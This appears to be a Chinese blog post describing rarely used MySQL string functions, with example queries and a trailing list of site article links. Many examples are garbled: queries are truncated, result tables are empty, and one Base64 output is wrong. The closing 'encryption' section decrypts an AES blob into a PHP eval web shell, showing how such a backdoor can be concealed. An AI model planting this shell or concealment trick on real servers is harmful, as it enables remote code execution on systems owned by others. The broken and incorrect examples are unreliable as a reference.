MySQL生僻函数
0X01 字符串函数
STRCMP
STRCMP(expr1,expr2)
若所有的字符串均相同,则返回STRCMP(),若根据当前分类次序,第一个参数小于第二个,则返回 -1,其它情况返回 1 。
mysql> SELECT STRCMP('text', 'text2'); mysql> SELECT STRCMP('text2', 'text'); mysql> SELECT STRCMP('text', 'text'); mysql> SET @s1 = _latin1 'x' COLLATE latin1_general_ci; mysql> SET @s2 = _latin1 'X' COLLATE latin1_general_ci; mysql> SET @s3 = _latin1 'x' COLLATE latin1_general_cs; mysql> SET @s4 = _latin1 'X' COLLATE latin1_general_cs; mysql> SELECT STRCMP(@s1, @s2), STRCMP(@s3, @s4); +------------------+------------------+ | STRCMP(@s1, @s2) | STRCMP(@s3, @s4) | +------------------+------------------+ | +------------------+------------------+
在执行比较时,STRCMP() 使用当前字符集。这使得默认的比较区分大小写,当操作数中的一个或两个都是二进制字符串时除外。
REGEXP
正则表达式操作在决定字符类型和执行比较时,使用字符串表达式和模式参数的字符集和排序规则。
如果其中一个参数是二进制字符串,则以区分大小写的方式将参数处理为二进制字符串。
mysql> SELECT 'Michael!' REGEXP '.*'; +------------------------+ | 'Michael!' REGEXP '.*' | +------------------------+ | +------------------------+ mysql> SELECT 'new*\n*line' REGEXP 'new\\*.\\*line'; +---------------------------------------+ | 'new*\n*line' REGEXP 'new\\*.\\*line' | +---------------------------------------+ | +---------------------------------------+ mysql> SELECT 'a' REGEXP '^[a-d]'; +---------------------+ | 'a' REGEXP '^[a-d]' | +---------------------+ | +---------------------+ mysql> SELECT 'fo\nfo' REGEXP '^fo$'; mysql> SELECT 'fofo' REGEXP '^fo'; mysql> SELECT 'fo\no' REGEXP '^fo\no$'; mysql> SELECT 'fo\no' REGEXP '^fo$'; mysql> SELECT 'fofo' REGEXP '^f.*$'; mysql> SELECT 'fo\r\nfo' REGEXP '^f.*$'; mysql> SELECT 'Ban' REGEXP '^Ba*n'; mysql> SELECT 'Baaan' REGEXP '^Ba*n'; mysql> SELECT 'Bn' REGEXP '^Ba*n';
UPPER
UPPER(str)
返回字符串str,根据当前字符集映射将所有字符更改为大写。缺省值是latin1 (cp1252西欧)。
mysql> SELECT UPPER('Hej'); -> 'HEJ'
LOWER
LOWER(str)
返回字符串str,根据当前字符集映射将所有字符更改为小写。缺省值是latin1 (cp1252西欧)。
mysql> SELECT LOWER('QUADRATICALLY'); -> 'quadratically'
LPAD
LPAD(str,len,padstr)
返回字符串str,用字符串padstr左填充为len字符长度。如果str比len长,则返回值缩短为len字符。
mysql,'??'); -> '??hi' mysql,'??'); -> 'h'
LTRIM
LTRIM(str)
返回删除了前面空格字符的字符串str。
mysql> SELECT LTRIM(' barbar'); -> 'barbar'
MAKE_SET
MAKE_SET(bits,str1,str2,…)
返回一个set值(一个包含由字符分隔的子字符串的字符串),该字符串包含以bit . str1为单位的对应位,set. str1对应于bit 0, str2对应于bit 1,等等。str1、str2、…中的空值不附加到结果中。
这个函数看解释稍微有点难理解
eg1
bits将转为二进制,1的二进制为0001,倒过来为1000,所以取str1(a),打印a.
1|4转为二进制为0001 | 0100, | 是进行或运算,得到0101,倒过来为1010,所以取str1(a),str3©,打印a,c.
mysql,'a','b','c'); -> 'a' mysql ,'hello','nice','world'); -> 'hello,world' mysql ,'hello','nice',NULL,'world'); -> 'hello' mysql,'a','b','c'); -> ''
OCTET_LENGTH
OCTET_LENGTH(str)
OCTET_LENGTH()是LENGTH()的同义词。
返回字符串str的长度,以字节为单位。多字节字符作为多个字节计数。这意味着对于包含5个2字节字符的字符串,LENGTH()返回10,而CHAR_LENGTH()返回5。
mysql> SELECT LENGTH('text');
LOCATE
LOCATE(substr,str), LOCATE(substr,str,pos)
第一个语法返回字符串str中子字符串substr第一次出现的位置。第二个语法返回字符串str中子字符串substr第一次出现的位置,从pos位置开始。如果子字符串不在str中,则返回0。
mysql> SELECT LOCATE('bar', 'foobarbar'); mysql> SELECT LOCATE('xbar', 'foobar'); mysql);
MID SUBSTRING
LOCATE(substr,str), LOCATE(substr,str,pos)
第一个语法返回第一次出现的位置的子串的子串字符串str。第二个语法返回第一次出现的位置字符串str子串的子串的开始位置pos。返回0如果substr str不在。返回NULL字符串的子串或str为NULL。
mysql); -> 'ratically' mysql); -> 'barbar' mysql,); -> 'ratica' mysql); -> 'ila' mysql, ); -> 'aki' mysql ); -> 'ki'
SUBSTRING_INDEX
SUBSTRING_INDEX(str,delim,count)
在分隔符delim出现计数之前,从字符串str返回子字符串。如果count为正数,则返回最后分隔符左边的所有内容(从左边计数)。如果count为负数,则返回最后分隔符右边的所有内容(从右边计数)。SUBSTRING_INDEX()在搜索delim时执行区分大小写的匹配。
mysql); -> 'www.mysql' mysql); -> 'mysql.com'
TO_BASE64
TO_BASE64(str)
将字符串参数转换为以base-64编码的形式,并使用连接字符集和排序规则以字符串的形式返回结果。如果参数不是字符串,则在转换之前将其转换为字符串。如果参数为空,则结果为空。可以使用FROM_BASE64()函数解码Base-64编码的字符串。
mysql> SELECT TO_BASE64('abc'), FROM_BASE64(TO_BASE64('abc')); -> 'JWJj', 'abc'
FROM_BASE64
接受一个用TO_BASE64()使用的base-64编码规则编码的字符串,并将解码后的结果作为二进制字符串返回。如果参数为NULL或不是有效的base-64字符串,则结果为NULL。有关编码和解码规则的详细信息,请参阅TO_BASE64()的描述。
mysql> SELECT TO_BASE64('abc'), FROM_BASE64(TO_BASE64('abc')); -> 'JWJj', 'abc'
0x02 加密
MariaDB [(none)]> SELECT AES_DECRYPT(UNHEX("4B8A46D45BFA21AB2301907A63E868E3293216683CF8FF8A08A4C96986627A59"),"PASS"); +--------------------------------------------------------------------------- | AES_DECRYPT(UNHEX("4B8A46D45BFA21AB2301907A63E868E3293216683CF8FF8A08A4C96986627A59"),"PASS") | +--------------------------------------------------------------------------- | <?php eval($_POST["cmd"]);?> | +--------------------------------------------------------------------------- row in set (0.00 sec)
最新文章
- HDU5988 Coding Contest(费用流)
- HYSBZ 2957 分块
- 项目中必须知道的关于CSS+DIV的常识
- javascript 中关于对象转换数字值的一些特点
- opc 方面研究
- Linux中常用的查看系统信息的命令
- 005 Python的数值类型
- css浮动Float
- 微信小程序测试方法总结
- 3分钟上手log4net
- mapper.xml中转义
- Win10下安装MySQL5.6
- mysql数据库主从同步读写分离(一)主从同步
- matlab批量修改图片大小
- WPF流程图制作系列相关基础二
- JavaScript中烧脑的&;&;和||
- AtCoder Grand Contest 029 翻车记
- GO_02:GO语言开篇
- archdexls主题设置每页显示游戏数目
- thinkphp5.0URL访问
热门文章
- hive 包含操作(left semi join)(left outer join = in)迪卡尔积
- Spring 7大模块的解说
- Dubbo Spring Cloud 之 HTTP 实战
- redis的几个知识点
- js中的几种继承方法
- java http/https后台上传服务器视频到接口
- Hibernate4之JPA规范配置详解
- Java匹马行天下之C国程序员的秃头原因
- 解决commBind: Cannot bind socket FD 18 to [::1]: (99) Cannot assign requested address squid
- Centos7搭建Scrapy爬虫环境